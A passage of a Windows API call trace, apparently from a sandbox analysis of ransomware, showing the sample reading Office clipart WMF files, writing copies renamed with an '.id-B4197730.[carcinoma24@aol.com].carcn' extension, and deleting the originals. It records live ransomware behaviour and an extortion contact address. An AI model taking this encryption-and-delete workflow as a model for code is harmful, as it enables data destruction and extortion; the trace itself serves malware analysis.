(lpString=".doc") returned 4 [0288.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.009] lstrlenW (lpString=".docx") returned 5 [0288.009] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0288.009] lstrlenW (lpString=".pdf") returned 4 [0288.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.009] lstrlenW (lpString=".xls") returned 4 [0288.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.009] lstrlenW (lpString=".xlsx") returned 5 [0288.009] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0288.009] lstrlenW (lpString=".ppt") returned 4 [0288.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0288.009] lstrlenW (lpString=".zip") returned 4 [0288.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.009] lstrlenW (lpString=".rar") returned 4 [0288.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.009] lstrlenW (lpString=".bz2") returned 4 [0288.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.009] lstrlenW (lpString=".7z") returned 3 [0288.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0288.010] lstrlenW (lpString=".dbf") returned 4 [0288.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0288.010] lstrlenW (lpString=".1cd") returned 4 [0288.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0288.010] lstrlenW (lpString=".jpg") returned 4 [0288.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.011] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=35346) returned 1 [0288.011] CloseHandle (hObject=0x53c) returned 1 [0288.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0288.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0288.012] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.012] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0288.013] GetLastError () returned 0x0 [0288.013] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0288.021] WriteFile (in: hFile=0x568, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0288.023] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.023] WriteFile (in: hFile=0x568, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.023] SetEndOfFile (hFile=0x568) returned 1 [0288.029] CloseHandle (hObject=0x568) returned 1 [0288.029] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.029] SetEndOfFile (hFile=0x53c) returned 1 [0288.035] CloseHandle (hObject=0x53c) returned 1 [0288.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0288.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0288.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0288.039] lstrlenW (lpString=".doc") returned 4 [0288.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.039] lstrlenW (lpString=".docx") returned 5 [0288.039] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0288.039] lstrlenW (lpString=".pdf") returned 4 [0288.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.039] lstrlenW (lpString=".xls") returned 4 [0288.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.040] lstrlenW (lpString=".xlsx") returned 5 [0288.040] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0288.040] lstrlenW (lpString=".ppt") returned 4 [0288.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0288.040] lstrlenW (lpString=".zip") returned 4 [0288.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.040] lstrlenW (lpString=".rar") returned 4 [0288.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.040] lstrlenW (lpString=".bz2") returned 4 [0288.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.040] lstrlenW (lpString=".7z") returned 3 [0288.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0288.040] lstrlenW (lpString=".dbf") returned 4 [0288.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0288.040] lstrlenW (lpString=".1cd") returned 4 [0288.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0288.040] lstrlenW (lpString=".jpg") returned 4 [0288.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.042] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=33434) returned 1 [0288.042] CloseHandle (hObject=0x53c) returned 1 [0288.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0288.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0288.043] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.043] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0288.044] GetLastError () returned 0x0 [0288.044] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x829a, lpOverlapped=0x0) returned 1 [0288.052] WriteFile (in: hFile=0x568, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x82a0, lpOverlapped=0x0) returned 1 [0288.054] ReadFile (in: hFile=0x53c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.054] WriteFile (in: hFile=0x568, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.054] SetEndOfFile (hFile=0x568) returned 1 [0288.054] CloseHandle (hObject=0x568) returned 1 [0288.054] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.054] SetEndOfFile (hFile=0x53c) returned 1 [0288.058] CloseHandle (hObject=0x53c) returned 1 [0288.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0288.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0288.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0288.064] lstrlenW (lpString=".doc") returned 4 [0288.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.064] lstrlenW (lpString=".docx") returned 5 [0288.064] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0288.064] lstrlenW (lpString=".pdf") returned 4 [0288.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.064] lstrlenW (lpString=".xls") returned 4 [0288.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.064] lstrlenW (lpString=".xlsx") returned 5 [0288.064] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0288.064] lstrlenW (lpString=".ppt") returned 4 [0288.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0288.064] lstrlenW (lpString=".zip") returned 4 [0288.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.064] lstrlenW (lpString=".rar") returned 4 [0288.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.064] lstrlenW (lpString=".bz2") returned 4 [0288.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.064] lstrlenW (lpString=".7z") returned 3 [0288.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0288.064] lstrlenW (lpString=".dbf") returned 4 [0288.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0288.065] lstrlenW (lpString=".1cd") returned 4 [0288.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0288.065] lstrlenW (lpString=".jpg") returned 4 [0288.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.065] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14174) returned 1 [0288.065] CloseHandle (hObject=0x53c) returned 1 [0288.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0288.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0288.087] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.087] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0288.094] GetLastError () returned 0x0 [0288.094] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x375e, lpOverlapped=0x0) returned 1 [0288.117] WriteFile (in: hFile=0x53c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3760, lpOverlapped=0x0) returned 1 [0288.118] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.118] WriteFile (in: hFile=0x53c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.118] SetEndOfFile (hFile=0x53c) returned 1 [0288.118] CloseHandle (hObject=0x53c) returned 1 [0288.119] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.119] SetEndOfFile (hFile=0x568) returned 1 [0288.122] CloseHandle (hObject=0x568) returned 1 [0288.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0288.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0288.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0288.123] lstrlenW (lpString=".doc") returned 4 [0288.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.123] lstrlenW (lpString=".docx") returned 5 [0288.123] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0288.123] lstrlenW (lpString=".pdf") returned 4 [0288.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.124] lstrlenW (lpString=".xls") returned 4 [0288.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.124] lstrlenW (lpString=".xlsx") returned 5 [0288.124] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0288.124] lstrlenW (lpString=".ppt") returned 4 [0288.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0288.124] lstrlenW (lpString=".zip") returned 4 [0288.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.124] lstrlenW (lpString=".rar") returned 4 [0288.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.124] lstrlenW (lpString=".bz2") returned 4 [0288.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.124] lstrlenW (lpString=".7z") returned 3 [0288.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0288.124] lstrlenW (lpString=".dbf") returned 4 [0288.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0288.124] lstrlenW (lpString=".1cd") returned 4 [0288.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0288.124] lstrlenW (lpString=".jpg") returned 4 [0288.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.125] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15760) returned 1 [0288.125] CloseHandle (hObject=0x568) returned 1 [0288.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0288.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0288.126] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.127] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0288.128] GetLastError () returned 0x0 [0288.128] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x3d90, lpOverlapped=0x0) returned 1 [0288.167] WriteFile (in: hFile=0x53c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3da0, lpOverlapped=0x0) returned 1 [0288.168] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.168] WriteFile (in: hFile=0x53c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.168] SetEndOfFile (hFile=0x53c) returned 1 [0288.169] CloseHandle (hObject=0x53c) returned 1 [0288.169] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.169] SetEndOfFile (hFile=0x568) returned 1 [0288.184] CloseHandle (hObject=0x568) returned 1 [0288.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0288.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0288.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0288.185] lstrlenW (lpString=".doc") returned 4 [0288.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.185] lstrlenW (lpString=".docx") returned 5 [0288.185] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0288.185] lstrlenW (lpString=".pdf") returned 4 [0288.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.186] lstrlenW (lpString=".xls") returned 4 [0288.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.186] lstrlenW (lpString=".xlsx") returned 5 [0288.186] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0288.186] lstrlenW (lpString=".ppt") returned 4 [0288.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0288.186] lstrlenW (lpString=".zip") returned 4 [0288.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.186] lstrlenW (lpString=".rar") returned 4 [0288.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.186] lstrlenW (lpString=".bz2") returned 4 [0288.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.186] lstrlenW (lpString=".7z") returned 3 [0288.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0288.186] lstrlenW (lpString=".dbf") returned 4 [0288.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0288.186] lstrlenW (lpString=".1cd") returned 4 [0288.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0288.186] lstrlenW (lpString=".jpg") returned 4 [0288.186] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.408] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1456) returned 1 [0288.408] CloseHandle (hObject=0x578) returned 1 [0288.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0288.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 